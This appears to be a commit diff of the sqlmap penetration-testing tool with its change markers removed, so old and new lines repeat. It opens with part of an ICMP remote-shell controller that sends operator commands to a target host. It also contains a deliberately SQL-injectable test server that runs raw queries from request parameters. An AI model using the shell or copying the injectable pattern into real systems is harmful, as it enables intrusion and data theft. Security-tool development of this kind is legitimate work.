ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error as ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
except:
break
if __name__ == '__main__':
if len(sys.argv) < 3:
+59 -17
View File
@@ -9,14 +9,17 @@ See the file 'LICENSE' for copying permission
from __future__ import print_function
import json
import re
import sqlite3
import sys
import threading
import traceback
if sys.version_info >= (3, 0):
from http.client import FOUND
PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8"
if PY3:
from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND
from http.client import OK
@@ -28,7 +31,6 @@ if sys.version_info >= (3, 0):
else:
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
from httplib import FOUND
from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND
from httplib import OK
@@ -95,48 +97,82 @@ class ReqHandler(BaseHTTPRequestHandler):
self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8"))
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return
if hasattr(self, "data"):
params.update(parse_qs(self.data))
if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else:
params.update(parse_qs(self.data))
for name in self.headers:
params[name.lower()] = self.headers[name]
if "cookie" in params:
for part in params["cookie"].split(';'):
part = part.strip()
if '=' in part:
name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip())
for key in params:
if params[key]:
if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1]
self.url, self.params = path, params
if self.url == '/':
if "id" not in params:
self.send_response(FOUND)
self.send_header("Connection", "close")
self.send_header("Location", "/?id=1")
self.end_headers()
else:
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
self.send_header("Content-type", "text/html")
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
else:
code, output = OK, ""
try:
if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"]
with _lock:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params.get("id", ""))
if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall()
output = "<b>SQL results:</b>\n"
output += "<b>SQL results:</b>\n"
output += "<table border=\"1\">\n"
for row in results:
output += "<tr>"
for value in row:
output += "<td>%s</td>" % value
output += "</tr>\n"
output += "</table>\n"
output += "</body></html>"
except Exception as ex:
code = INTERNAL_SERVER_ERROR
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
self.wfile.write(output.encode("utf8"))
self.send_response(code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
if self.raw_requestline.startswith(b"HEAD"):
self.send_header("Content-Length", str(len(output)))
self.end_headers()
else:
self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else:
self.send_response(NOT_FOUND)
self.send_header("Connection", "close")
@@ -145,11 +181,17 @@ class ReqHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.do_REQUEST()
def do_PUT(self):
self.do_REQUEST()
def do_HEAD(self):
self.do_REQUEST()
def do_POST(self):
length = int(self.headers.get("Content-length", 0))
if length:
data = self.rfile.read(length)
data = unquote_plus(data.decode("utf8"))
data = unquote_plus(data.decode(UNICODE_ENCODING))
self.data = data
self.do_REQUEST()
+4 -1
View File
@@ -181,7 +181,10 @@ def action():
raise
if conf.sqlQuery:
conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery))
for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip()
if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
+30 -7
View File
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import joinValue
from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths
from lib.core.common import popValue
@@ -44,6 +45,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -73,6 +75,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX
@@ -152,7 +155,7 @@ def checkSqlInjection(place, parameter, value):
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -162,7 +165,7 @@ def checkSqlInjection(place, parameter, value):
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "level (%d)" % conf.level if conf.level < 5 else ""
msg += " and " if conf.level < 5 and conf.risk < 3 else ""
msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r"\A\w+\Z", candidate):
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
try:
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
except Exception as ex:
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True
@@ -924,6 +931,9 @@ def checkFalsePositives(injection):
randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3)
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1:
break
@@ -1098,6 +1108,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.warn(infoMsg)
kb.heuristicMode = True
kb.disableHtmlDecoding = True
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1117,6 +1128,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.info(infoMsg)
break
kb.disableHtmlDecoding = False
kb.heuristicMode = False
return kb.heuristicTest
@@ -1511,8 +1523,9 @@ def checkConnection(suppressOutput=False):
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
elif wasLastResponseDBMSError():
warnMsg = "there is a DBMS error found in the HTTP response body "
warnMsg += "which could interfere with the results of the tests"
@@ -1559,6 +1572,16 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while "
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
message += "Do you want to use those [Y/n] "
if readInput(message, default='Y', boolean=True):
kb.mergeCookies = True
conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
return True
def checkInternet():
+13 -18
View File
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import isListLike
from lib.core.common import parseTargetUrl
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import removePostHintPrefix
@@ -129,7 +131,7 @@ def _selectInjection():
message += "[q] Quit"
choice = readInput(message, default='0').upper()
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
index = int(choice)
elif choice == 'Q':
raise SqlmapUserQuitException
@@ -202,10 +204,11 @@ def _randomFillBlankFields(value):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER))
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr()))
retVal = retVal.replace(item, "%s%s" % (item, newValue))
return retVal
@@ -256,13 +259,9 @@ def _saveToResultsFile():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush()
except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod
@@ -292,7 +291,7 @@ def start():
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
@@ -300,7 +299,6 @@ def start():
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
@@ -316,7 +314,7 @@ def start():
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper() if targetMethod else targetMethod
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
@@ -374,7 +372,7 @@ def start():
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -389,7 +387,7 @@ def start():
break
else:
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -484,9 +482,6 @@ def start():
if skip:
continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
@@ -740,9 +735,9 @@ def start():
logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
if conf.multipleTargets:
if conf.resultsFilename:
if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg)
return True
+18 -7
View File
@@ -121,7 +121,7 @@ class Agent(object):
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1]
origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
else:
@@ -176,12 +176,16 @@ class Agent(object):
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % newValue
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
newValue = "'%s'" % newValue
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -447,7 +451,7 @@ class Agent(object):
else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
kb.binaryField = conf.binaryFields and field in conf.binaryFields
if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField)
@@ -1111,7 +1115,12 @@ class Agent(object):
def whereQuery(self, query):
if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1120,7 +1129,9 @@ class Agent(object):
else:
prefix += " WHERE %s" % conf.dumpWhere
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
query = prefix
if suffix:
query += suffix
return query
+166 -72
View File
@@ -130,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IP_ADDRESS_REGEX
@@ -1231,7 +1232,7 @@ def checkPipedInput():
# Reference: https://stackoverflow.com/a/33873570
"""
return not os.isatty(sys.stdin.fileno())
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
def isZipFile(filename):
"""
@@ -1245,6 +1246,22 @@ def isZipFile(filename):
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
def isDigit(value):
"""
Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
>>> u'\xb2'.isdigit()
True
>>> isDigit(u'\xb2')
False
>>> isDigit('123456')
True
>>> isDigit('3b3')
False
"""
return re.search(r"\A[0-9]+\Z", value or "") is not None
def checkFile(filename, raiseOnError=True):
"""
Checks for file existence and readability
@@ -1680,7 +1697,7 @@ def expandAsteriskForColumns(expression):
if db is None:
if expression != conf.sqlQuery:
conf.db = db
else:
elif conf.db:
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
else:
conf.db = db
@@ -1953,7 +1970,7 @@ def safeFilepathEncode(filepath):
retVal = filepath
if filepath and six.PY2 and isinstance(filepath, six.text_type):
retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
return retVal
@@ -2746,7 +2763,7 @@ def findMultipartPostBoundary(post):
return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
"""
URL decodes given value
@@ -3178,7 +3195,10 @@ def isDBMSVersionAtLeast(minimum):
parts[1] = filterStringValue(parts[1], '[0-9]')
version = '.'.join(parts)
version = float(filterStringValue(version, '[0-9.]')) + correction
try:
version = float(filterStringValue(version, '[0-9.]')) + correction
except ValueError:
return None
if isinstance(minimum, six.string_types):
if '.' in minimum:
@@ -3464,6 +3484,23 @@ def flattenValue(value):
else:
yield i
def joinValue(value, delimiter=','):
"""
Returns a value consisting of joined parts of a given value
>>> joinValue(['1', '2'])
'1,2'
>>> joinValue('1')
'1'
"""
if isListLike(value):
retVal = delimiter.join(value)
else:
retVal = value
return retVal
def isListLike(value):
"""
Returns True if the given value is a list-like instance
@@ -3543,8 +3580,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
>>> "openFile" in openFile(__file__).read()
True
>>> b"openFile" in openFile(__file__, "rb", None).read()
True
"""
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content:
kb.cache.content[filename] = sys.stdin.read()
@@ -3574,16 +3617,20 @@ def decodeIntToUnicode(value):
try:
if value > 255:
_ = "%x" % value
if len(_) % 2 == 1:
_ = "0%s" % _
raw = decodeHex(_)
if Backend.isDbms(DBMS.MYSQL):
# Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
retVal = getUnicode(raw, "UTF-16-BE")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
retVal = _unichr(value)
else:
retVal = getUnicode(raw, conf.encoding)
@@ -3787,6 +3834,8 @@ def maskSensitiveData(msg):
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
True
>>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
True
"""
retVal = getUnicode(msg)
@@ -4001,6 +4050,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
Returns a safe representation of SQL identificator name (internal data format)
# Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(safeSQLIdentificatorNaming("begin"))
'[begin]'
>>> getText(safeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
"""
retVal = name
@@ -4015,9 +4072,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper()
@@ -4040,14 +4097,22 @@ def safeSQLIdentificatorNaming(name, isTable=False):
def unsafeSQLIdentificatorNaming(name):
"""
Extracts identificator's name from its safe SQL representation
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> getText(unsafeSQLIdentificatorNaming("[begin]"))
'begin'
>>> getText(unsafeSQLIdentificatorNaming("foobar"))
'foobar'
>>> kb.forceDbms = popValue()
"""
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = name.replace("\"", "").upper()
@@ -4299,11 +4364,16 @@ def asciifyUrl(url, forceQuote=False):
if all(char in string.printable for char in url):
return getText(url)
hostname = parts.hostname
if isinstance(hostname, six.binary_type):
hostname = getUnicode(hostname)
# idna-encode domain
try:
hostname = parts.hostname.encode("idna")
except LookupError:
hostname = parts.hostname.encode("punycode")
hostname = hostname.encode("idna")
except:
hostname = hostname.encode("punycode")
# UTF8-quote the other parts. We check each part individually if
# if needs to be quoted - that should catch some additional user
@@ -4400,9 +4470,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try:
forms = ParseResponse(response, backwards_compat=False)
except ParseError:
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.warning(warnMsg)
if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
logger.debug(dbgMsg)
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
if filtered and filtered != content:
@@ -4417,54 +4487,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
except:
pass
if forms:
for form in forms:
try:
for control in form.controls:
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
if not item.selected:
item.selected = True
break
for form in forms or []:
try:
for control in form.controls:
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
# if control has selectable items select first non-disabled
for item in control.items:
if not item.disabled:
if not item.selected:
item.selected = True
break
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg)
continue
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
dbgMsg = "skipping '%s'" % form.action
logger.debug(dbgMsg)
continue
request = form.click()
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
request = form.click()
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_:
raise SqlmapGenericException(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.data
data = urldecode(data, kb.pageEncoding, spaceplus=False)
logger.debug(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.data
data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg)
continue
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
logger.debug(debugMsg)
continue
# flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url)
# flag to know if we are dealing with the same target host
_ = checkSameHost(response.geturl(), url)
if conf.scope:
if not re.search(conf.scope, url, re.I):
continue
elif not _:
continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
else:
if data:
data = data.lstrip("&=").rstrip('&')
if conf.scope and not re.search(conf.scope, url, re.I):
continue
elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
continue
elif not _:
continue
else:
target = (url, method, data, conf.cookie, None)
retVal.add(target)
for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
